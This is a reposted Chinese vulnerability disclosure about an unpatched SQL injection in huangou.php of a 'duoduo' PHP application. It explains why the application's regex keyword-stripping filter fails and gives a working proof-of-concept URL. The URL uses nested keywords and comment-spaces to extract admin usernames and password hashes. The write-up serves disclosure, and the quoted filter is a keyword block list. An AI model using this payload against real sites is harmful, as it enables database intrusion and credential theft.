来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] 下了7.4 3月20号之前的代码,注入确实没修,还是huangou.php$id =$_GET[#39;id#39;];$good=sel_sql(#39;dhlist#39;,#39;id,name,pic,money,jifen,num,content,num#39;,#39;id=#39;.$id);但是测试环境为......
下了7.4 3月20号之前的代码,注入确实没修,还是huangou.php
$id =$_GET['id']; $good=sel_sql('dhlist','id,name,pic,money,jifen,num,content,num','id='.$id); 但是测试环境为啥射不了呢,在仔细看代码,原来多了个包含 include_once 'comm/checkpostandget.php'; 这个文件内容是啥捏 $ArrFiltrate = array ( "#union#i", "#<script#i", "#/script>#i", "#select#i", "#alert#i", "#javascript#i", "#<table#i", "#<td#i", "#\"#i", "#\'#i", "#delete#i", "#vbscript#i", "#applet#i", "#frame#i", "#<div#i", "#update#i", "#'#i", "#union #i", "#select #i", "#delete #i", "#update #i", "#and #i", "#;#i", "#update#i" ); $replacements=''; function FunStringExist(&$array,$ArrFiltrate,$replacements) { if (is_array($array)) { foreach ($array as $key => $value) { if (is_array($value)) FunStringExist($array[$key],$ArrFiltrate,$replacements); else $array[$key] = preg_replace($ArrFiltrate, $replacements, $value); } } } FunStringExist($_GET,$ArrFiltrate,$replacements); FunStringExist($_POST,$ArrFiltrate,$replacements); 真是个奇葩啊,原来不专心修漏洞,而是搞了个get和post数组的全局过滤函数,但是您不觉得有很多问题吗?先不说是否来源和目标都完整,单独是这个逻辑就有很大问题。 漏洞证明: 关键字例如:union,变成uniounionn就行了,空格嘛用/**/好了。 http://www.www.2cto.com /huangou.php?id=1/**/and/**/1=2/**/ ununionion/**/seselectlect/**/0,1,2, adminname,adminpass,5,6,7/**/from/**/duoduo_duoduo2010 修复方案: 您应该懂了。 作者 牛奶坦克 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com